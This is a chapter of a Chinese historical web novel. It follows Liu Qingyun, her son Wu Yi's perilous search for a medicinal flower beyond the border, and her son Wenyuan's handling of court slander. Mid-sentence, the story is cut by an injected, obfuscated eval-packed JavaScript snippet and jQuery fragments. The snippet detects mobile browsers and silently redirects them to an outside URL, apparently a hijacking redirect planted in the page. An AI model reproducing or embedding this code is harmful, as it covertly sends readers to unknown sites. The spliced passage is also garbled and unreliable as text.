八月初九，安国夫人府。


    柳清韵的奏章已经递上去三日，今日御批下来了。


    “准。”


    她放下那纸御批，目光落在窗外。


    院子里，文渊正陪着婉宁喂鱼。婉宁八岁了，站在池边，小手攥着一把鱼食，撒得小心翼翼。文渊在旁边说着什么，婉宁听得认真，偶尔点头。


    这是暴风雨前的宁静。


    她知道。


    “夫人。”周嬷嬷从外头进来，低声道，“陆将军的人到了。”


    柳清韵点头，起身走向后堂。


    后堂里站着一个三十来岁的汉子，面容黝黑，身形精干，一看就是在边关打磨过的。他见柳清韵进来，单膝跪地。


    “末将郑虎，奉陆将军之命，听候夫人差遣。”


    柳清韵让他起来，细细打量。


    郑虎，陆校尉麾下斥候队长，武毅的上司之一。此人精通山地追踪，熟悉边境每一寸地形，是此次行动最关键的人选之一。


    “陆将军的信，你带来了？”


    郑虎从怀中取出一个油纸包，双手呈上。


    柳清韵拆开，里面是陆校尉的亲笔信，还有一幅手绘的边境地形图。信中说，武毅已秘密抵达指定地点待命，太后派来的暗卫也已在路上。


    她将信折好，看向郑虎。


    “你可知此行目的？”


    “知道。”郑虎道，“找药，救边军兄弟的命。”


    柳清韵点了点头。


    “还有一件事，你需知道。”


    郑虎肃立。


    “此行凶险。若事不可为，保人要紧。花可以不要，人必须回来。”


    郑虎怔了怔，随即抱拳。


    “末将明白。”


    那夜，柳清韵在空间炼室里坐到三更。


    她将三枚保命丹、十份止血散、五盒铁骨膏、两瓶解毒清心丸，仔细包好。又将一份手写的《雪山生存与防毒指南》，逐字逐句核对了一遍。


    最后，她取出那幅由观星阁推演生成的加密地图，看了很久。


    地图上标注了三个可能的生长区域。最有可能的那个，在敌国境内，距边境线约八十里，海拔极高，终年积雪。


    那是武毅要去的地方。


    她闭上眼睛，将那幅地图的每一个细节都刻进脑海。


    然后她睁开眼，从怀中取出一小块灵玉碎片。


    那是武毅贴身玉佩的同源之物。若武毅遇险或接近目标区域，这碎片会发出微弱的光热。


    她将碎片贴身收起。


    八月初十，卯时。


    武毅站在边境线外一处隐蔽的山谷中，身后是十二个人——两名医官学徒，十名太后暗卫。


    暗卫队长姓周，三十出头，沉默寡言，目光锐利。他正在分发装备，每人一套白色雪地伪装服，三日干粮，一壶烈酒，一把短刀，一张硬弓。


    武毅蹲在地上，最后一次摊开母亲给的那幅地图。


    他手指沿着那条蜿蜒的路线移动，口中念念有词。


    那是母亲教他的习惯——行动之前，把所有细节在心里过三遍。


    第一遍，路线。哪里会有哨卡，哪里可以隐蔽，哪里容易雪崩。


    第二遍，目标。花长什么样，什么时候开花，怎么采摘，怎么保存。


    第三遍，退路。三条撤退路线，每一条都标明了汇合点。


    周队长走过来，在他身边蹲下。


    “小武总旗，准备好了？”


    武毅抬起头，笑了一下。


    “准备好了。”


    他把地图折好，贴身收起。


    然后他站起身，看着那十二个人。


    “诸位，”他说，“此行凶险，我娘说，花可以不要，人必须回来。所以——遇事先保命，再想任务。活着回来，比什么都强。”


    暗卫们互相看了一眼，有人笑了。


    “小武总旗，你娘真有意思。”


    武毅也笑了。


    “我娘一直有意思。”


    他转身，第一个踏入茫茫雪原。


    八月十二，京城。


    文渊从翰林院出来时，天色已黄昏。


    今日院里的气氛不对。平日与他交好的几个同僚，见了面只是点头，匆匆而过。有人在他背后窃窃私语，他一回头，那些人便装作若无其事地散开。


    他心中了然。


    这几日京城流言四起，他怎么可能不知道。


    “安国夫人借寻药之名，欲与北疆将领勾结，图谋不轨。”


    “其子苏文渊在翰林院结党，妄议朝政，借编修之便窥探禁中档案。”


    那些话，他听了不下十遍。


    但他没有解释，没有辩驳。


    解释就是掩饰，辩驳就是心虚。


    他只是每日按时到院，按时离开，手头的事一件不落。编修档案、整理典籍、撰写摘要——这些原本就是他的本分，他做得比谁都认真。


    今日也一样。


    走出院门时，一个年轻的内侍从旁边闪出来，低声道：“苏编修，三殿下请您茶楼一叙。”


    文渊脚步一顿。


    三皇子。


    他沉吟片刻，点了点头。


    茶楼在城南，清幽雅致，与那日雅集是同一家。


    三皇子萧景睿已在雅间等候，见他进来，含笑起身。


    “苏编修，请坐。”


    文渊落座。


    三皇子亲自为他斟茶，动作行云流水。


    “近日京城风波，苏编修可听说了？”


    文渊道：“略有耳闻。”


    三皇子叹了口气。


    “令堂为国操劳，却遭此诽谤，本王亦为之不平。”他顿了顿，“都察院那边，本王略有相识，或可代为转圜。令堂北行，安危难料，苏编修更当谨言慎行，免授人以柄。”


    文渊端起茶盏，轻轻吹了吹浮叶。


    “殿下好意，臣心领了。”他说，“然雷霆雨露，俱是君恩。臣子本分，惟忠惟勤。家中之事，不劳殿下费心。”


    三皇子笑容未变，目光却深了几分。


    “苏编修年纪虽幼，心思倒沉稳。”他端起茶盏，“也罢，本王只是随口一说。喝茶。”


    那盏茶，文渊喝了半盏。


    告辞时，三皇子送到门口，拍了拍他的肩。


    “苏编修，日后若有需要，随时来找本王。”


    文渊躬身一礼，转身离去。


    走在街上，天色已经完全暗了。


    他脚步不快，心里却转得飞快。


    三皇子这步棋，走得很妙。名为“关怀”，实为施压与离间。若他接受，便是欠了人情，日后难免被拿捏；若他拒绝，三皇子也有话说——“我好意相助，他不领情”。


    怎么走都是坑。


    但他没有踩进去。


    “雷霆雨露，俱是君恩”——这句话足够重，重到任何皇子都不敢明着反驳。


    他抬起头，望着远处的宫墙。


    明日，还有明日的事。


    八月十四，御史赵光祖上奏。


    奏折洋洋洒洒数千言，核心只有三句：


    安国夫人柳氏，“以医药之名，行干政之实，屡屡干涉边镇军务，破坏祖制”。


    其子苏文渊，“年轻骤贵，恐非朝廷之福”。


    请皇帝“约束柳氏权力，将苏文渊调离翰林院，外放闲职”。


    奏折递上去后，朝野哗然。


    有人附和，有人沉默，有人观望。


    文渊听到这个消息时，正在翰林院里抄录档案。他的手只顿了一顿，便继续往下写。


    同僚们看他的眼神，更加复杂了。


    八月十五，中秋。


    宫中有宴会，文渊本在受邀之列，却告了假，独自在家陪婉宁。


    柳清韵不在，他就是一家之主。


    婉宁不懂那些朝堂上的事，只高兴哥哥能陪她过节。她拉着文渊在院里赏月，把自己藏了好久的桂花糕拿出来，非要他尝一块。


    文渊尝了，夸好吃。


    婉宁笑得很开心。


    夜深时，婉宁睡了。文渊独自坐在书房里，面前摊着那封母亲临行前留给他的信。


    信很短，只有几行字：


    “娘不在时，家事你多操心。朝堂之事，记住一句话——雷霆雨露，俱是君恩。多做本分事，少说多余话。有人来示好，笑笑就好；有人来施压，拖着就好。娘很快就回来。”


    他看了很久，然后将信折好，收入怀中。


    窗外，月色正明。


    八月十六，雪山深处。


    武毅趴在雪窝子里，一动不动已经两个时辰。


    前方三里外，是第一个疑似生长区域。但那里有一队人马在活动——不是牧民，不是商队，而是穿着皮甲、携带兵器的武装分子。


    他在心里数了数：二十三人。


    周队长趴在他旁边，用极低的声音说：“不像马匪。马匪不会这么整齐。”


    武毅点头。


    “正规军伪装的。”


    周队长沉默片刻。


    “怎么办？”


    武毅没有立刻回答。


    他在心里快速盘算。硬拼，十二对二十三，胜算不大。绕过去，但对方占据的位置恰好卡住进山的唯一通道。等他们走？不知道要等到什么时候。


    “退。”他说。


    周队长一怔。


    “退？”


    “退。”武毅说，“换第二条路线。”


    他们无声无息地后撤，退到安全距离后，才直起身。


    武毅摊开地图，指着第二条路线。


    “这条路更险，有雪崩风险。但那边不会有伏兵。”


    周队长看着那条线，点了点头。


    “那就走。”


    八月十八，暴风雪。


    武毅小队被困在一个岩洞里，已经一天一夜。


    风在外面呼啸，雪堆到了洞口。两名暗卫轮流守着，其他人都挤在洞里，靠烈酒和干粮维持体温。


    重伤的医官学徒叫小陈，二十岁，是柳清韵亲手带出来的。两天前遭遇伏击时，他为保护药材样本，被一刀砍在背上，深可见骨。


    武毅用了母亲教的法子，清创、缝合、上药、包扎。血止住了，但人一直发烧，迷迷糊糊的。


    “小陈，”武毅凑到他耳边，“别睡。再撑撑，出了山就好了。”


    小陈睁开眼睛，嘴唇动了动。


    “武……总旗……那花……”


    “花的事你别管。”武毅说，“你活着，比什么都重要。”


    小陈又闭上眼睛。


    武毅摸了摸他的额头，还是烫。


    他取出一枚保命丹，用水化开，一点一点灌进小陈嘴里。


    周队长在旁边看着，忽然问：“那药，你娘给的？”


    武毅点头。


    “你娘……”周队长顿了顿，“你娘真舍得。”


    武毅没有接话。


    他只是继续给小陈喂药。


    八月二十，暴风雪停了。


    武毅站在洞口，望着外面的雪原。


    按照地图，第二条路线的目标区域，就在前方二十里。


    但那里地势险峻，常年积雪，雪崩风险极高。而且小陈的伤势经不起折腾。


    他回头看了看洞里的人。


    十二个人，如今只剩十一个。两个暗卫护送小陈先撤了，剩下的九人，都看着他。


    他沉默片刻，开口。


    “周队长，你带两个人，护送小陈他们后撤。剩下的，跟我走。”


    周队长皱眉。


    “小武总旗……”


    “我娘说，花可以不要，人必须回来。”武毅打断他，“但我不想空着手回去。”


    他顿了顿。


    “我带的人少，目标小，速度快。探到花就采，探不到就撤。你们先回去报信。”


    周队长看着他，忽然笑了。


    “你这性子，随谁？”


    武毅想了想。


    “随我娘。”


    八月廿二，悬崖裂隙。


    武毅趴在一处背风向阳的岩壁上，眼睛死死盯着前方。


    那里，有一片在冰雪中倔强绽放的红色花朵。


    花色如凝结的鲜血，花瓣在寒风中微微颤动。


    冰魄血竭花。


    他数了数，一共十三株。


    采药指南上写得清清楚楚：只采三株，留下十株。采时连根须一起挖，用冰雪包裹保存。若遇花期将过，优先采集种子。


    他深吸一口气，开始往下攀。


    八月廿三，武毅与周队长汇合。


    他们沿着备用路线，艰难地往回撤。


    身后，那伙伪装成马匪的武装分子似乎发现了他们的行踪，追得很紧。但周队长留下的暗哨及时发现，他们绕了远路，甩开了追兵。


    小陈还活着，烧也退了。武毅那枚保命丹，起了作用。


    武毅怀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462010|198903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中，贴身藏着那三株冰魄血竭花。


    还有一小包种子。


    他靠在雪地上，望着南方灰蒙蒙的天际。


    那里，有娘。


    八月十九，慈宁宫。


    太后正在赏花，几位妃嫔陪侍在侧。


    她忽然开口，声音淡淡的。


    “哀家近日读史，见古来贤能之士，总不免遭宵小诽谤。”


    妃嫔们面面相觑，不知太后何意。


    太后继续道：“如东汉马皇后，贤明干练，辅政清明，不也有人说她‘干政’？可见这‘干政’二字，有时是有些人自己无能，便容不得他人有为。”


    她说完，端起茶盏，轻轻抿了一口。


    满室寂静。


    那几位妃嫔，噤若寒蝉。


    消息当晚就传遍了前朝。


    八月廿一，皇帝下旨。


    御史赵光祖，“风闻奏事，不察实情”，罚俸半年，闭门思过。


    同时，安国夫人柳氏北巡，“以勘察卫勤为主，勿节外生枝”——这是督促，也是保护。


    苏文渊，调任编修先帝实录，品级不变，差事更核心。


    那道旨意一下，朝中议论纷纷。


    有人说，皇帝这是在给安国夫人撑腰。


    有人说，皇帝这是在敲打那些多事的人。


    也有人说，皇帝这是在搞平衡——既保了柳家，也给了反对派一个台阶。


    文渊收到调令时，正在翰林院里抄档案。


    他看完，将调令折好，收入怀中。


    没有惊喜，没有得意。


    只是继续抄档案。


    八月廿二，三皇子的人又来了。


    这次是送了一盒点心，说是“中秋补礼”。文渊收下，道了谢，让来人带回去一盒婉宁亲手做的桂花糕。


    “礼尚往来。”他说。


    那人走后，婉宁问：“哥，三皇子为什么总送东西？”


    文渊摸了摸她的头。


    “不知道。但他送什么，咱们就还什么。不占便宜，不吃亏。”


    婉宁似懂非懂地点点头。


    八月廿五，柳清韵抵达北疆卫所。


    她公开行程，大张旗鼓，巡诊、看伤兵、讲学、采药。每天都有当地官员陪同，有随行记录。


    消息传回京城，那些“勾结北疆将领”的流言，渐渐没人提了。


    那夜，她在卫所值房里，收到了武毅秘密送来的血竭花。


    三株完整植株，一包种子。


    她捧着那三株花，手微微发抖。


    然后她闭上眼睛，沉入空间。


    炼室中，那三株花缓缓浮起，与空间里的药材相互呼应。典藏室中，关于北荒医药的部分，彻底亮了起来。


    她退出空间，睁开眼睛。


    窗外，月色正好。


    她站起身，走到窗前，望着北方茫茫雪原的方向。


    那里，有武毅。


    她的儿子，正在回来的路上。


    八月廿八，武毅撤回我方控制区。


    陆校尉亲自来接。


    他看着这个浑身是伤、却眼睛亮得惊人的少年，什么也没说，只是重重拍了拍他的肩。


    武毅咧嘴一笑。


    “陆叔，花带回来了。”


    陆校尉点头。


    “你娘的信也到了。她说，让你赶紧回去，她给你做好吃的。”


    武毅愣了愣，忽然大笑起来。


    那笑声在山谷里回荡，惊起一群寒鸦。


    九月初一，柳清韵在卫所里秘密开始炼制解药。


    冰魄血竭花入鼎的那一刻，整个炼室都在震动。


    典藏室中，《北荒异草录》彻底凝实，书页自动翻开，一行行文字浮现在她意识中——炮制之法、配伍之道、禁忌之症。


    她一一记下，开始炼制。


    与此同时，陆校尉那边传来消息。


    根据武毅带回的线索，他们暗中彻查，锁定了军需系统内一名与京城某勋贵府邸有秘密往来的文吏。


    初步审讯，那人供认不讳——他确实传递了“安国夫人可能派人寻药”的模糊信息。


    但接头人是谁，他不知道。


    “那人每次都蒙面，声音也变过。”他说，“但有一回，他不小心露出手腕——手腕上有个疤，像是旧伤。”


    陆校尉将这条线索记下。


    九月初五，柳清韵收到陆校尉的信。


    她看完那行关于“手腕有疤”的描述，沉默了很久。


    京城某勋贵府邸。


    手腕有疤。


    她想起一个人。


    永嘉侯府被抄时，有一个管事在逃。那人姓钱，是永嘉侯的心腹，专门打理“特殊事务”。通缉令上说，他右手腕上有一道旧伤疤，是年轻时与人斗殴留下的。


    永嘉侯倒了，但那条线没有断。


    她将那封信折好，收入匣中。


    窗外，夜色渐深。


    她站在窗前，望着南方京城的方向。


    那里，有文渊。


    还有那些藏在暗处的人。


    九月初八，第一批解药炼制成功。


    柳清韵将那丹药命名为“冰魄化毒丹”。三炉共得三十六粒。


    她留下二十粒给陆校尉，其余十六粒随身带回京城。


    临行前，她给武毅写了一封信。


    信很短：


    “花采得好，人回来得更好。娘在京等你。解药已炼成，边军兄弟的命，能保住了。”


    武毅收到信时，正在营房里养伤。他把信看了三遍，然后折好，贴身收起。


    同袍问：“武总旗，笑什么呢？”


    武毅摇摇头。


    “没什么。我娘夸我了。”


    九月初十，柳清韵启程返京。


    马车辘辘驶过北疆的荒原，一路向南。


    她坐在车里，闭目养神。


    空间观星阁中，星光比往日黯淡了些。


    她知道，这是消耗过大，需要时间恢复。


    但她也知道，真正的较量，或许才刚刚开始。


    解药炼成了，但放毒的人还在。


    内奸查出来了，但背后的人还在。


    京城那些明枪暗箭，也还在。


    她睁开眼睛，望着车窗外飞速后退的景色。


    远处，京城的轮廓，隐隐可见。


    她拢了拢衣襟，靠在车壁上。


    累了。


    但不能停。